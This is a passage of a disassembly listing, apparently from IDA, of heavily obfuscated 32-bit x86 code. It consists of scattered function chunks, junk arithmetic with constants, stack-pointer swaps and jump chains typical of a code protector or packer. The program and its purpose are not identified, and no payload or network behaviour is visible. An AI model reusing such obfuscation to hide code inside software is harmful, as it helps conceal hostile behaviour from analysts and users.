sub_5A6BBC:loc_5A1A1Dj ; sub_5A79BE+31D6j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] mov eax, [esp-8+arg_4] push eax mov eax, esp push ebx jmp loc_5AB72A ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59DD7C: ; CODE XREF: sub_59A26C+1155Cj pop eax not esi add esi, 0C880848h add edi, esi mov esi, [esp-10h+arg_C] add esp, 4 jmp loc_59C3AA ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59DD95: ; CODE XREF: sub_59F02F-1C7Dj shl byte ptr [esp+0], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- loc_59DD9E: ; CODE XREF: sdfs____:0059B959j sub ebx, 4 jmp loc_599F0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59DDA9: ; CODE XREF: sub_59E94B+30CDj mov cx, word ptr [esp-4+arg_0] push 3897h mov [esp+0], edi push esp pop edi add edi, 4 push eax mov eax, 2 push 1C33h mov [esp+8+var_8], ebp jmp loc_5AC722 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59DDD0: ; CODE XREF: sub_59CBE1+F751j mov edx, esp jmp loc_5AA294 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_59DDD7: ; CODE XREF: sub_5A3CF9-2874j pop ebp sub edx, ebp pop ebp xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] jmp loc_5ADDC8 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59DDE9: ; CODE XREF: sub_5AB207-11992j ; sdfs____:0059B384j pop esp mov ebx, ebp push [esp-4+arg_0] jmp loc_5AF252 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59DDF4: ; CODE XREF: sub_5992DA+F038j and esi, 652C4504h add esi, 2BFA7D2Ch sub esi, 0B80259BFh xor ebp, esi jmp loc_59E374 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_59DE0D: ; CODE XREF: sub_59993B+C797j sub ecx, 0DC909F8Dh mov eax, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 add [esp+8+var_4], 416E4C81h add [esp+8+var_4], 26023989h jmp loc_5A3A64 ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59DE30: ; CODE XREF: sub_5AB622+2E77j dec edi jno loc_59E280 add edi, 1 sub edi, 0C9A87529h mov ebx, edi pop edi ; END OF FUNCTION CHUNK FOR sub_5AB622 ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59DE46: ; CODE XREF: sub_5A118F:loc_5A0691j jmp loc_5AB256 ; END OF FUNCTION CHUNK FOR sub_5A118F ; =============== S U B R O U T I N E ======================================= sub_59DE4B proc near ; CODE XREF: sub_5AA329+13j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D354 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059E7A0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059E943 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A16AC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A1A67 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A3887 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A5E3A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AAAC2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AC82D SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_5A3887 sub_59DE4B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_59DE59: ; CODE XREF: sub_59F4D2+7344j add esp, 4 xchg eax, [esp-4+arg_0] pop esp mov [esp-8+arg_4], esp jmp loc_5A5311 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59DE6B: ; CODE XREF: sub_5A7BA0-2812j pop edi push ebx mov ebx, ecx mov ebp, ebx pop ebx jmp loc_5AD723 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_59DE77: ; CODE XREF: sub_5B03E8-15DBBj add eax, edi mov edi, [esp+4+var_4] add esp, 4 add edi, 5A1B566Eh jmp loc_5AFA7E ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59961A loc_59DE8A: ; CODE XREF: sub_59961A+482j or esi, 181F7CDAh jmp loc_5A8D9A ; END OF FUNCTION CHUNK FOR sub_59961A ; --------------------------------------------------------------------------- loc_59DE95: ; CODE XREF: sdfs____:005ACC1Cj mov dh, bh jmp loc_5AE706 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DE9C: ; CODE XREF: sub_5AA2D1+49A5j jmp loc_599EC4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7A2B loc_59DEA1: ; CODE XREF: sub_5A7A2B+Cj mov ecx, esp jmp sub_5A06C1 ; END OF FUNCTION CHUNK FOR sub_5A7A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59DEA8: ; CODE XREF: sub_5A580F-1E9Fj xchg eax, [esp-4+arg_0] pop esp and edi, 0DB33D5Bh jmp loc_59ADAB ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DEB7: ; CODE XREF: sub_5AA2D1-1A43j add ah, 0AFh jmp loc_59D4B9 ; --------------------------------------------------------------------------- loc_59DEBF: ; CODE XREF: sub_5AA2D1-9F3Cj pop edx push ebp jmp loc_59D05E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_59DEC6: ; CODE XREF: sub_5A63DC+561Ej pop esp mov [esp+8+var_8], ebx push [esp+8+var_4] pop ebx pop [esp+8+var_8] mov esp, [esp+4+var_4] push esi mov esi, esp jmp loc_5A300C ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59DEDD: ; CODE XREF: sub_5A913B+6791j mov edx, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_5AD4D8 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DEE8: ; CODE XREF: sub_5AA2D1-AA5Cj mov edx, [esp-0Ch+arg_8] add esp, 4 xor ebx, ebp pop ebp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59DEF6: ; CODE XREF: sdfs____:0059E188j mov edi, 671E34AEh inc edi jmp loc_5A9760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DF01: ; CODE XREF: sub_5AA2D1+3295j push esi mov esi, 34CA3864h jmp loc_59A2EB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_59DF0C: ; CODE XREF: sub_5B0377+10j mov edx, 3DDE726Dh push 0A54h mov [esp+0Ch+var_C], ecx jmp loc_5AF233 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59DF1E: ; CODE XREF: sub_5A3992+C4Fj ; sub_5A0AA2+77F7j sub eax, ecx pop ecx sub eax, ecx add eax, 76570929h push ebx push 9AB5BF4h mov ebx, [esp+0Ch+var_C] add esp, 4 push 67Fh mov [esp+0Ch+var_C], edx mov edx, 42CE0CBAh neg edx add edx, 0A1C73AA9h sub ebx, edx pop edx xor ebx, 462D0B79h add ebx, 12962383h push esi mov esi, 21C462DDh sub esi, 0C7873E90h sub ebx, 27876AF7h add ebx, esi add ebx, 27876AF7h mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_5A2945 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DF7D: ; CODE XREF: sub_5AA2D1-4097j add edi, ebx pop ebx jmp loc_5A3431 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59DF85: ; CODE XREF: sub_59CBE1+E11Aj pop edi add esp, 4 add edi, 4 push ebx push 7749h mov [esp-8+arg_4], edi push 6FDE1040h push [esp-4+arg_0] pop edi jmp loc_5A5E6C ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59DFA6: ; CODE XREF: sub_59C979+8BB5j jp sub_5ADBA5 push bx mov bh, 96h sub cl, bh mov bx, [esp+0] push edi loc_59DFB7: ; CODE XREF: sub_59F4D2+1075Dj push 55F0h mov [esp+4+var_6+2], ebp jmp loc_59DC87 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59DFC4: ; CODE XREF: sub_5AD993-90D6j mov ebp, [esp-18h+arg_14] add esp, 4 xor eax, ecx push [esp-1Ch+arg_18] pop ecx push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xor ecx, [esp-18h+arg_14] jmp loc_5A6E6D ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_59DFED: ; CODE XREF: sub_5A26E8+BD3Dj sub ebp, 72BB3CF7h add ebp, edx add ebp, 72BB3CF7h sub ebp, 352951A0h add ebp, 32712ED6h pop edx push ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] pop esp sar dword ptr [esp+0], cl pushf jmp loc_59D4EA ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59E01B: ; CODE XREF: sub_5AD795-7B98j add eax, 1FBC263Fh neg eax jmp loc_59BB3A ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_59E027: ; CODE XREF: sub_5A4D9D+19j push [esp+4+var_4] pop ebx jmp loc_59B59F ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E030: ; CODE XREF: sub_5AA2D1+223Ej shr edx, 1 add edx, 3C5306F3h jmp loc_5AF6F8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59E03D: ; CODE XREF: sub_5A7BA0-1A7Fj jnp loc_5B00C1 xor ecx, 5DD30C1Fh jo loc_5A4828 push edi push eax ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; START OF FUNCTION CHUNK FOR sub_5997FD loc_59E051: ; CODE XREF: sub_5997FD+Bj ; sub_5A80B3+Ej mov ebp, 4 jmp loc_5A8BC8 ; END OF FUNCTION CHUNK FOR sub_5997FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E05B: ; CODE XREF: sub_5AA2D1-93FFj sub ebp, ecx pop ecx xchg ebp, [esp-18h+arg_14] pop esp jmp loc_5AEAB9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59E067: ; CODE XREF: sub_59CBE1+F9A4j push eax mov ah, 7Fh mov cl, ah pop eax and dh, cl pop cx xor dh, 0D7h add al, dh mov edx, [esp-6+arg_0+2] jmp loc_59D008 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59E07E: ; CODE XREF: sub_59A26C+C94Bj pop edx push eax push esp jmp loc_5AA3AE ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E086: ; CODE XREF: sub_59C979+CF49j xchg eax, [esp+4+var_6+2] jmp loc_5A96B0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59E08E: ; CODE XREF: sub_599D0E+8E4Aj and cl, 89h or cl, 0A0h sub cl, 40h xor cl, 0ADh push eax push edx mov dh, 0C8h jmp loc_5AD6B1 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_59E0A3: ; CODE XREF: sub_599509+DB5j add edi, 4 jmp loc_5AB007 ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E0AE: ; CODE XREF: sub_5AA2D1+16A9j shr ecx, 4 sub ecx, 1F9B1D7Dh jnp loc_5A28D5 sub ecx, 0AF237458h mov esi, ecx jmp loc_59E39B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_59E0CA: ; CODE XREF: sub_5A3B60+15A5j or ecx, 3905694Bh sub ecx, 10502B9Eh mov ebp, ecx pop ecx push edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp+4+var_4] pop esp mov [esp+0], eax push esi push 4EA7440Fh jmp loc_59BFE7 ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59E0FD: ; CODE XREF: sub_5B01F7-14CD9j add eax, ecx push ecx jmp loc_59F8F4 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- loc_59E105: ; CODE XREF: sdfs____:0059D619j sub edx, 4B3E2A7Fh push eax mov eax, 32F49F6h jmp loc_59CAC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E116: ; CODE XREF: sub_5AA2D1-1E72j shl esi, 5 js loc_5AA995 shl esi, 3 push eax mov eax, 489E53E5h sub eax, 0DF3B741Bh xor esi, eax jmp loc_5A9F88 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_59E134: ; CODE XREF: sub_5A77D5+19j push [esp+4+var_4] jmp loc_5AB47F ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- loc_59E13C: ; CODE XREF: sdfs____:00599C40j push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5AAED7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_59E158: ; CODE XREF: sub_59ED98+E5B2j push dx not byte ptr [esp+6+var_6] pop dx add dl, 22h push ebx mov bl, 6Dh or dl, bl jmp loc_5A146E ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- loc_59E16C: ; CODE XREF: sdfs____:005A882Aj sub eax, 6B4D4BE0h add eax, ebx push 1EC9h mov [esp], edx mov edx, 624B64D4h push 4B81h mov [esp], edi jmp loc_59DEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59E18D: ; CODE XREF: sub_59A7E7+C1EBj pop ebp add esp, 4 jmp loc_5A5E27 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59E199: ; CODE XREF: sub_5A2E28-90C9j mov edi, 3496158h mov esi, 0BAB70C65h sub esi, edi pop edi add esi, eax jmp loc_59AD98 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_59E1AD: ; CODE XREF: sub_59F4D2+C6FFj add ecx, 49C708B0h sub ecx, ebp sub ecx, 49C708B0h jmp loc_5ACD73 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BE17 loc_59E1C0: ; CODE XREF: sub_59BE17+1D22j sub ebp, 4C010137h add ebp, ecx add ebp, 4C010137h jmp loc_5A0BB0 ; END OF FUNCTION CHUNK FOR sub_59BE17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59E1D3: ; CODE XREF: sub_59CBE1+11322j sub edx, 279E4AFEh xor edx, 0C1BBB3C3h jmp loc_5A52FF ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_59E1E4: ; CODE XREF: sub_5AC803-9A25j add edx, 0EEBEF51Fh or esi, edx pop edx add esi, 8B049406h add ecx, esi pop esi add ecx, 2 xor ecx, [esp-4+arg_0] xor [esp-4+arg_0], ecx xor ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_5A50B4 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_59E20A: ; CODE XREF: sub_599CC6+16268j pop eax push edx push ecx mov ch, bh mov dh, ch pop ecx jmp loc_5AC890 ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59E217: ; CODE XREF: sub_5992DA+EF0Dj add esi, 179EF81Ch mov eax, esi pop esi xor esi, eax pop eax jmp loc_5A8563 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59E228: ; CODE XREF: sub_5AC478-FC8Dj ; sub_5A477C+5F7Dj and edi, 2289779Eh shl edi, 5 inc edi jmp loc_5995A1 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59E237: ; CODE XREF: sub_5AFA26-115BBj sub eax, ebx pop ebx mov edx, eax pop eax and ebx, edx pop edx shr ebx, 8 shl ebx, 4 push ebp mov ebp, 0F95B2E72h add ebx, ebp pop ebp add edi, 10E52413h add edi, ebx push ecx mov ecx, 10E52413h jmp loc_59D0BF ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E262: ; CODE XREF: sub_5AA2D1-258Ej mov bl, 0DDh push 3AD8h mov [esp-14h+arg_10], ecx push edx mov dh, bl mov cl, dh pop edx jmp loc_5AC34F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3BFE loc_59E277: ; CODE XREF: sub_5A3BFE-64Fj push [esp+8+var_8] pop edi jmp loc_5A8037 ; END OF FUNCTION CHUNK FOR sub_5A3BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59E280: ; CODE XREF: sub_5AB622-D7F1j add edi, 1 sub edi, 0C9A87529h mov ebx, edi pop edi jmp loc_59940D ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59E294: ; CODE XREF: sub_5A580F-1C41j push 1ACBh mov [esp-4+arg_0], ecx push 6E95h mov [esp+0], edi push 1AE35115h mov edi, [esp+4+var_4] jmp loc_5ABC27 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59E2B1: ; CODE XREF: sub_59A7E7+F30Bj movzx eax, al jmp loc_5A351C ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A119E loc_59E2B9: ; CODE XREF: sub_5A119E+Bj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A119E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59E2BE: ; CODE XREF: sub_5992DA+D5DEj jmp loc_59C82C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3261 loc_59E2C3: ; CODE XREF: sub_5A3261-679Dj xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push edx mov edx, 66300D2Dh add edx, 99CFF2D7h jmp loc_5A4DE3 ; END OF FUNCTION CHUNK FOR sub_5A3261 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59E2DA: ; CODE XREF: sub_5A0AA2-4A46j mov esi, 30B576CCh jmp loc_5ABC77 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59E2E4: ; CODE XREF: sub_5992DA+15B6Bj push edx jmp loc_5A9A84 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59E2EA: ; CODE XREF: sub_5A79BE+6A7Ej shr esi, 3 jmp loc_5A2A2E ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- loc_59E2F2: ; CODE XREF: sdfs____:005A965Cj mov dh, bh jmp loc_5AD34F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A416F loc_59E2F9: ; CODE XREF: sub_5A416F+1j mov ebp, 5D38059Ch inc ebp not ebp jmp loc_5993C7 ; END OF FUNCTION CHUNK FOR sub_5A416F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59E306: ; CODE XREF: sub_5A6BBC:loc_5A68ADj sub cl, 0DFh jmp loc_5AA46A ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_59E30E: ; CODE XREF: sub_59DD36+F163j pop [esp+4+var_4] pop esp xor [esp-4+arg_0], eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59E31B: ; CODE XREF: sub_5AA810-6591j push 390Ch jmp loc_5ABE6A ; END OF FUNCTION CHUNK FOR sub_5AA810 ; =============== S U B R O U T I N E ======================================= sub_59E325 proc near ; CODE XREF: sub_59A66A+E304j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005A575E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A62B0 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_5A575E sub_59E325 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59E333 proc near ; CODE XREF: sdfs____:0059CBADj ; sub_5A0AA2-3D51j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005A354A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6126 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AA16D SIZE 0000001E BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 670D4770h xor eax, edx pop edx and eax, 6E7B0976h jmp loc_5AA16D sub_59E333 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_59E34E: ; CODE XREF: sub_59D37E+E3D8j push edx mov dl, ch not dl jmp loc_5ACC9F ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_59E358: ; CODE XREF: sub_59BA35+7739j mov cl, 0A8h mov ah, cl pop ecx sub dl, ah pop eax add dl, 85h add ah, dl pop edx mov dl, ah pop eax push ebx mov bh, 78h sub bh, 64h jmp loc_5AEE8D ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59E374: ; CODE XREF: sub_5992DA+4B2Ej pop esi neg ebp jmp loc_5AAEAC ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59E37C: ; CODE XREF: sub_59E94B-38E9j ; sub_5AA2D1-2770j add edx, 26CF347Ch jmp loc_5AFA39 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA83C loc_59E387: ; CODE XREF: sub_5AA83C-2E2Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] jmp loc_5AD029 ; END OF FUNCTION CHUNK FOR sub_5AA83C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E39B: ; CODE XREF: sub_5AA2D1-C20Cj ; sub_5AC803+3588j mov [esp-1Ch+arg_18], ebp mov ebp, 6A666938h mov esi, 57B19ED9h sub esi, 350599Bh add esi, ebp add esi, 350599Bh push [esp-1Ch+arg_18] pop ebp push ecx mov ecx, esp add ecx, 4 jmp loc_59F866 ; --------------------------------------------------------------------------- loc_59E3C8: ; CODE XREF: sub_5AA2D1-CD3Dj mov [esp+2+var_4+2], edi jmp loc_5AD401 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D6F loc_59E3D0: ; CODE XREF: sub_5A9D6F+6j mov [esp+4+var_4], ebx push ecx mov cl, 84h jmp loc_59A64B ; END OF FUNCTION CHUNK FOR sub_5A9D6F ; --------------------------------------------------------------------------- loc_59E3DB: ; CODE XREF: sdfs____:005AEDB2j push 5D867425h pop ebp and ebp, 6103446Ch jmp loc_5AE984 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_59E3EC: ; CODE XREF: sub_5A3E64-9640j mov ecx, [esp+0] add esp, 4 push ebx mov ebx, esp jmp loc_5AFB1C ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59E3FA: ; CODE XREF: sub_5AA2D1-EE66j ; sdfs____:0059D82Aj ... shl dl, 1 jnp loc_5A3599 add dl, 43h jmp loc_59D6F7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59E40A: ; CODE XREF: sub_5AFA26-12964j mov ebx, [esp+8+var_8] add esp, 4 push 5A14h mov [esp+8+var_8], edi jmp loc_5AFAF5 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59E41D: ; CODE XREF: sub_59C979-1A2j push [esp-6+arg_2] pop eax push ecx mov ecx, esp sub esp, 4 mov dword ptr [esp+2+var_2], edi mov edi, 3BF2062Fh shr edi, 4 push eax mov eax, 66020AB1h shr eax, 5 jmp loc_59F4A6 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59E443: ; CODE XREF: sub_59D6B8-D78j push 7770h jmp loc_5AD674 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_59E44D: ; CODE XREF: sub_5A3E64-A408j mov ebx, 6EE47C50h add ebp, ebx jmp loc_5AE65F ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59E459: ; CODE XREF: sub_5AFA26-DF57j and ebx, 5CF3220Ah xor ebx, 43DF7334h add ebx, 4D6F95F2h jmp loc_59E237 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59E470: ; CODE XREF: sub_5A600D-CCFCj or ah, 0FAh xor ah, 0Dh xor bl, ah pop eax add cl, bl mov ebx, 